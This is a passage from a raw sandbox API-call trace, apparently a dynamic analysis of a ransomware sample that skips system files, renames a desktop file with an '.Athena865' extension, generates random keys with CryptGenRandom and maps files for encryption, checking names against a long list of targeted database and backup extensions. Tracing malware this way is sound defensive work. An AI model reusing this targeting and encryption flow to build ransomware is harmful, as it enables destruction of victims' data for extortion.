lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.324] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eeccae0, ftCreationTime.dwHighDateTime=0x1d4d351, ftLastAccessTime.dwLowDateTime=0x20543290, ftLastAccessTime.dwHighDateTime=0x1d4ce88, ftLastWriteTime.dwLowDateTime=0x20543290, ftLastWriteTime.dwHighDateTime=0x1d4ce88, nFileSizeHigh=0x0, nFileSizeLow=0xe740, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6Yik1-OYAgjiRnPga.mkv", cAlternateFileName="6YIK1-~1.MKV")) returned 1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2=".") returned 1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2="..") returned 1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2="windows") returned -1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2="bootmgr") returned -1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2="temp") returned -1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2="pagefile.sys") returned -1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2="boot") returned -1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2="ids.txt") returned -1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2="ntuser.dat") returned -1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2="perflogs") returned -1 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2="MSBuild") returned -1 [0050.324] lstrlenW (lpString="6Yik1-OYAgjiRnPga.mkv") returned 21 [0050.324] lstrcpyW (in: lpString1=0x241e8b6, lpString2="6Yik1-OYAgjiRnPga.mkv" | out: lpString1="6Yik1-OYAgjiRnPga.mkv") returned="6Yik1-OYAgjiRnPga.mkv" [0050.324] lstrlenW (lpString="6Yik1-OYAgjiRnPga.mkv") returned 21 [0050.324] lstrlenW (lpString="Athena865") returned 9 [0050.324] lstrcmpiW (lpString1="RnPga.mkv", lpString2="Athena865") returned 1 [0050.324] lstrlenW (lpString=".dll") returned 4 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2=".dll") returned 1 [0050.324] lstrlenW (lpString=".lnk") returned 4 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2=".lnk") returned 1 [0050.324] lstrlenW (lpString=".ini") returned 4 [0050.324] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2=".ini") returned 1 [0050.324] lstrlenW (lpString=".sys") returned 4 [0050.325] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv", lpString2=".sys") returned 1 [0050.325] lstrlenW (lpString="6Yik1-OYAgjiRnPga.mkv") returned 21 [0050.325] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\6Yik1-OYAgjiRnPga.mkv.Athena865") returned 86 [0050.325] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\6Yik1-OYAgjiRnPga.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\6yik1-oyagjirnpga.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\6Yik1-OYAgjiRnPga.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\6yik1-oyagjirnpga.mkv.athena865"), dwFlags=0x1) returned 1 [0050.325] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\6Yik1-OYAgjiRnPga.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\6yik1-oyagjirnpga.mkv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.326] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=59200) returned 1 [0050.326] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.326] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.326] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.326] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.327] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.327] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.327] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xea40, lpName=0x0) returned 0x17c [0050.327] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xea40) returned 0x100000 [0050.329] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.330] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.330] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.331] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.331] CloseHandle (hObject=0x17c) returned 1 [0050.331] CloseHandle (hObject=0x154) returned 1 [0050.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.333] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd686ac50, ftCreationTime.dwHighDateTime=0x1d4cbe0, ftLastAccessTime.dwLowDateTime=0xb5e054a0, ftLastAccessTime.dwHighDateTime=0x1d4cdcb, ftLastWriteTime.dwLowDateTime=0xb5e054a0, ftLastWriteTime.dwHighDateTime=0x1d4cdcb, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7jk3oaLR.bmp", cAlternateFileName="")) returned 1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2=".") returned 1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2="..") returned 1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2="windows") returned -1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2="bootmgr") returned -1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2="temp") returned -1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2="pagefile.sys") returned -1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2="boot") returned -1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2="ids.txt") returned -1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2="ntuser.dat") returned -1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2="perflogs") returned -1 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2="MSBuild") returned -1 [0050.333] lstrlenW (lpString="7jk3oaLR.bmp") returned 12 [0050.333] lstrcpyW (in: lpString1=0x241e8b6, lpString2="7jk3oaLR.bmp" | out: lpString1="7jk3oaLR.bmp") returned="7jk3oaLR.bmp" [0050.333] lstrlenW (lpString="7jk3oaLR.bmp") returned 12 [0050.333] lstrlenW (lpString="Athena865") returned 9 [0050.333] lstrcmpiW (lpString1="3oaLR.bmp", lpString2="Athena865") returned -1 [0050.333] lstrlenW (lpString=".dll") returned 4 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2=".dll") returned 1 [0050.333] lstrlenW (lpString=".lnk") returned 4 [0050.333] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2=".lnk") returned 1 [0050.333] lstrlenW (lpString=".ini") returned 4 [0050.334] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2=".ini") returned 1 [0050.334] lstrlenW (lpString=".sys") returned 4 [0050.334] lstrcmpiW (lpString1="7jk3oaLR.bmp", lpString2=".sys") returned 1 [0050.334] lstrlenW (lpString="7jk3oaLR.bmp") returned 12 [0050.334] lstrlenW (lpString="bak") returned 3 [0050.334] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0050.334] lstrlenW (lpString="ba_") returned 3 [0050.334] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0050.334] lstrlenW (lpString="dbb") returned 3 [0050.334] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0050.334] lstrlenW (lpString="vmdk") returned 4 [0050.334] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0050.334] lstrlenW (lpString="rar") returned 3 [0050.334] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0050.334] lstrlenW (lpString="zip") returned 3 [0050.334] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0050.334] lstrlenW (lpString="tgz") returned 3 [0050.334] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0050.334] lstrlenW (lpString="vbox") returned 4 [0050.334] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0050.334] lstrlenW (lpString="vdi") returned 3 [0050.334] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0050.334] lstrlenW (lpString="vhd") returned 3 [0050.334] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0050.334] lstrlenW (lpString="vhdx") returned 4 [0050.334] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0050.334] lstrlenW (lpString="avhd") returned 4 [0050.334] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1 [0050.334] lstrlenW (lpString="db") returned 2 [0050.334] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0050.334] lstrlenW (lpString="db2") returned 3 [0050.334] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0050.334] lstrlenW (lpString="db3") returned 3 [0050.335] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0050.335] lstrlenW (lpString="dbf") returned 3 [0050.335] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0050.335] lstrlenW (lpString="mdf") returned 3 [0050.335] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0050.335] lstrlenW (lpString="mdb") returned 3 [0050.335] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0050.335] lstrlenW (lpString="sql") returned 3 [0050.335] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1 [0050.335] lstrlenW (lpString="sqlite") returned 6 [0050.335] lstrcmpiW (lpString1="LR.bmp", lpString2="sqlite") returned -1 [0050.335] lstrlenW (lpString="sqlite3") returned 7 [0050.335] lstrcmpiW (lpString1="aLR.bmp", lpString2="sqlite3") returned -1 [0050.335] lstrlenW (lpString="sqlitedb") returned 8 [0050.335] lstrcmpiW (lpString1="oaLR.bmp", lpString2="sqlitedb") returned -1 [0050.335] lstrlenW (lpString="xml") returned 3 [0050.335] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0050.335] lstrlenW (lpString="$er") returned 3 [0050.335] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0050.335] lstrlenW (lpString="4dd") returned 3 [0050.335] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0050.335] lstrlenW (lpString="4dl") returned 3 [0050.335] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0050.335] lstrlenW (lpString="^^^") returned 3 [0050.335] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0050.335] lstrlenW (lpString="abs") returned 3 [0050.335] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0050.335] lstrlenW (lpString="abx") returned 3 [0050.335] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0050.335] lstrlenW (lpString="accdb") returned 5 [0050.335] lstrcmpiW (lpString1="R.bmp", lpString2="accdb") returned 1 [0050.335] lstrlenW (lpString="accdc") returned 5 [0050.335] lstrcmpiW (lpString1="R.bmp", lpString2="accdc") returned 1 [0050.336] lstrlenW (lpString="accde") returned 5 [0050.336] lstrcmpiW (lpString1="R.bmp", lpString2="accde") returned 1 [0050.336] lstrlenW (lpString="accdr") returned 5 [0050.336] lstrcmpiW (lpString1="R.bmp", lpString2="accdr") returned 1 [0050.336] lstrlenW (lpString="accdt") returned 5 [0050.336] lstrcmpiW (lpString1="R.bmp", lpString2="accdt") returned 1 [0050.336] lstrlenW (lpString="accdw") returned 5 [0050.336] lstrcmpiW (lpString1="R.bmp", lpString2="accdw") returned 1 [0050.336] lstrlenW (lpString="accft") returned 5 [0050.336] lstrcmpiW (lpString1="R.bmp", lpString2="accft") returned 1 [0050.336] lstrlenW (lpString="adb") returned 3 [0050.336] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0050.336] lstrlenW (lpString="adb") returned 3 [0050.336] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0050.336] lstrlenW (lpString="ade") returned 3 [0050.336] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0050.336] lstrlenW (lpString="adf") returned 3 [0050.336] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0050.336] lstrlenW (lpString="adn") returned 3 [0050.336] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0050.336] lstrlenW (lpString="adp") returned 3 [0050.336] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0050.336] lstrlenW (lpString="alf") returned 3 [0050.336] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0050.336] lstrlenW (lpString="ask") returned 3 [0050.336] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0050.336] lstrlenW (lpString="btr") returned 3 [0050.336] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0050.336] lstrlenW (lpString="cat") returned 3 [0050.336] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0050.336] lstrlenW (lpString="cdb") returned 3 [0050.336] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0050.336] lstrlenW (lpString="ckp") returned 3 [0050.336] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0050.337] lstrlenW (lpString="cma") returned 3 [0050.337] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0050.337] lstrlenW (lpString="cpd") returned 3 [0050.337] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0050.337] lstrlenW (lpString="dacpac") returned 6 [0050.337] lstrcmpiW (lpString1="LR.bmp", lpString2="dacpac") returned 1 [0050.337] lstrlenW (lpString="dad") returned 3 [0050.337] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0050.337] lstrlenW (lpString="dadiagrams") returned 10 [0050.337] lstrcmpiW (lpString1="k3oaLR.bmp", lpString2="dadiagrams") returned 1 [0050.337] lstrlenW (lpString="daschema") returned 8 [0050.337] lstrcmpiW (lpString1="oaLR.bmp", lpString2="daschema") returned 1 [0050.337] lstrlenW (lpString="db-journal") returned 10 [0050.337] lstrcmpiW (lpString1="k3oaLR.bmp", lpString2="db-journal") returned 1 [0050.337] lstrlenW (lpString="db-shm") returned 6 [0050.337] lstrcmpiW (lpString1="LR.bmp", lpString2="db-shm") returned 1 [0050.337] lstrlenW (lpString="db-wal") returned 6 [0050.337] lstrcmpiW (lpString1="LR.bmp", lpString2="db-wal") returned 1 [0050.337] lstrlenW (lpString="dbc") returned 3 [0050.337] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0050.337] lstrlenW (lpString="dbs") returned 3 [0050.337] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0050.337] lstrlenW (lpString="dbt") returned 3 [0050.337] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0050.337] lstrlenW (lpString="dbv") returned 3 [0050.337] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0050.337] lstrlenW (lpString="dbx") returned 3 [0050.337] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0050.337] lstrlenW (lpString="dcb") returned 3 [0050.337] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0050.337] lstrlenW (lpString="dct") returned 3 [0050.337] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1 [0050.337] lstrlenW (lpString="dcx") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1 [0050.338] lstrlenW (lpString="ddl") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1 [0050.338] lstrlenW (lpString="dlis") returned 4 [0050.338] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1 [0050.338] lstrlenW (lpString="dp1") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1 [0050.338] lstrlenW (lpString="dqy") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1 [0050.338] lstrlenW (lpString="dsk") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1 [0050.338] lstrlenW (lpString="dsn") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1 [0050.338] lstrlenW (lpString="dtsx") returned 4 [0050.338] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1 [0050.338] lstrlenW (lpString="dxl") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1 [0050.338] lstrlenW (lpString="eco") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1 [0050.338] lstrlenW (lpString="ecx") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1 [0050.338] lstrlenW (lpString="edb") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1 [0050.338] lstrlenW (lpString="epim") returned 4 [0050.338] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1 [0050.338] lstrlenW (lpString="fcd") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1 [0050.338] lstrlenW (lpString="fdb") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1 [0050.338] lstrlenW (lpString="fic") returned 3 [0050.338] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1 [0050.338] lstrlenW (lpString="flexolibrary") returned 12 [0050.339] lstrlenW (lpString="fm5") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1 [0050.339] lstrlenW (lpString="fmp") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1 [0050.339] lstrlenW (lpString="fmp12") returned 5 [0050.339] lstrcmpiW (lpString1="R.bmp", lpString2="fmp12") returned 1 [0050.339] lstrlenW (lpString="fmpsl") returned 5 [0050.339] lstrcmpiW (lpString1="R.bmp", lpString2="fmpsl") returned 1 [0050.339] lstrlenW (lpString="fol") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1 [0050.339] lstrlenW (lpString="fp3") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1 [0050.339] lstrlenW (lpString="fp4") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1 [0050.339] lstrlenW (lpString="fp5") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1 [0050.339] lstrlenW (lpString="fp7") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1 [0050.339] lstrlenW (lpString="fpt") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1 [0050.339] lstrlenW (lpString="frm") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1 [0050.339] lstrlenW (lpString="gdb") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0050.339] lstrlenW (lpString="gdb") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0050.339] lstrlenW (lpString="grdb") returned 4 [0050.339] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1 [0050.339] lstrlenW (lpString="gwi") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1 [0050.339] lstrlenW (lpString="hdb") returned 3 [0050.339] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1 [0050.339] lstrlenW (lpString="his") returned 3 [0050.340] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1 [0050.340] lstrlenW (lpString="ib") returned 2 [0050.340] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1 [0050.340] lstrlenW (lpString="idb") returned 3 [0050.340] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1 [0050.340] lstrlenW (lpString="ihx") returned 3 [0050.340] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1 [0050.340] lstrlenW (lpString="itdb") returned 4 [0050.340] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1 [0050.340] lstrlenW (lpString="itw") returned 3 [0050.340] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1 [0050.340] lstrlenW (lpString="jet") returned 3 [0050.340] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1 [0050.340] lstrlenW (lpString="jtx") returned 3 [0050.340] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1 [0050.340] lstrlenW (lpString="kdb") returned 3 [0050.340] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1 [0050.340] lstrlenW (lpString="kexi") returned 4 [0050.340] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1 [0050.340] lstrlenW (lpString="kexic") returned 5 [0050.340] lstrcmpiW (lpString1="R.bmp", lpString2="kexic") returned 1 [0050.340] lstrlenW (lpString="kexis") returned 5 [0050.340] lstrcmpiW (lpString1="R.bmp", lpString2="kexis") returned 1 [0050.340] lstrlenW (lpString="lgc") returned 3 [0050.340] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1 [0050.340] lstrlenW (lpString="lwx") returned 3 [0050.340] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1 [0050.340] lstrlenW (lpString="maf") returned 3 [0050.340] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1 [0050.340] lstrlenW (lpString="maq") returned 3 [0050.340] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1 [0050.340] lstrlenW (lpString="mar") returned 3 [0050.340] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1 [0050.341] lstrlenW (lpString="marshal") returned 7 [0050.341] lstrcmpiW (lpString1="aLR.bmp", lpString2="marshal") returned -1 [0050.341] lstrlenW (lpString="mas") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1 [0050.341] lstrlenW (lpString="mav") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1 [0050.341] lstrlenW (lpString="maw") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1 [0050.341] lstrlenW (lpString="mdbhtml") returned 7 [0050.341] lstrcmpiW (lpString1="aLR.bmp", lpString2="mdbhtml") returned -1 [0050.341] lstrlenW (lpString="mdn") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1 [0050.341] lstrlenW (lpString="mdt") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1 [0050.341] lstrlenW (lpString="mfd") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1 [0050.341] lstrlenW (lpString="mpd") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1 [0050.341] lstrlenW (lpString="mrg") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1 [0050.341] lstrlenW (lpString="mud") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1 [0050.341] lstrlenW (lpString="mwb") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1 [0050.341] lstrlenW (lpString="myd") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1 [0050.341] lstrlenW (lpString="ndf") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1 [0050.341] lstrlenW (lpString="nnt") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1 [0050.341] lstrlenW (lpString="nrmlib") returned 6 [0050.341] lstrcmpiW (lpString1="LR.bmp", lpString2="nrmlib") returned -1 [0050.341] lstrlenW (lpString="ns2") returned 3 [0050.341] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1 [0050.342] lstrlenW (lpString="ns3") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1 [0050.342] lstrlenW (lpString="ns4") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1 [0050.342] lstrlenW (lpString="nsf") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1 [0050.342] lstrlenW (lpString="nv") returned 2 [0050.342] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1 [0050.342] lstrlenW (lpString="nv2") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1 [0050.342] lstrlenW (lpString="nwdb") returned 4 [0050.342] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1 [0050.342] lstrlenW (lpString="nyf") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1 [0050.342] lstrlenW (lpString="odb") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0050.342] lstrlenW (lpString="odb") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0050.342] lstrlenW (lpString="oqy") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1 [0050.342] lstrlenW (lpString="ora") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1 [0050.342] lstrlenW (lpString="orx") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1 [0050.342] lstrlenW (lpString="owc") 